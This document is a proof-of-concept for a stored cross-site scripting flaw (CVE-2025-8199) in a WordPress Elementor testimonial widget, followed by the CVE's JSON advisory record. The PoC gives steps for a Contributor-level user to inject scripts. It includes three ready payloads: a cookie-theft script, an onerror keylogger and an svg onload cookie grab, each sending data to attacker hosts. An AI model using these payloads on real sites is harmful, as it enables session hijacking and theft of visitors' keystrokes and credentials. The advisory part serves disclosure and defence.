CVE-2025-8199

<!-- CVE-2025-8199 PoC: Stored XSS in MarqueeAddons Testimonial Marquee Widget --> <!-- Requirements: Contributor+ role access to WordPress admin --> <!-- Step 1: Create a new Testimonial Marquee widget via Elementor --> <!-- Step 2: Add a new testimonial item with XSS payload in name field --> <!-- Payload Example 1: Cookie Theft --> <script> fetch('https://attacker-controlled-site.com/steal?cookie=' + btoa(document.cookie)); </script> <!-- Payload Example 2: Keylogger --> <img src=x onerror='document.onkeypress=function(e){fetch("https://attacker.com/k?k="+btoa(e.key))}'> <!-- Payload Example 3: Session Hijacking --> <svg/onload=fetch('https://evil.com/exfil?data='+encodeURIComponent(document.cookie))> <!-- Step 3: Save and publish the page --> <!-- Step 4: Any user visiting the page will execute the injected JavaScript -->

{"cve": {"id": "CVE-2025-8199", "sourceIdentifier": "[email protected]", "published": "2025-12-13T16:16:55.963", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The MarqueeAddons plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's Testimonial Marquee widget in all versions up to, and including, 2.4.3 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset/3349636", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/marquee-addons-for-elementor/#developers", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/ab664bc5-ef3c-4e5a-99d5-e3f1bb240a70?source=cve", "source": "[email protected]"}]}}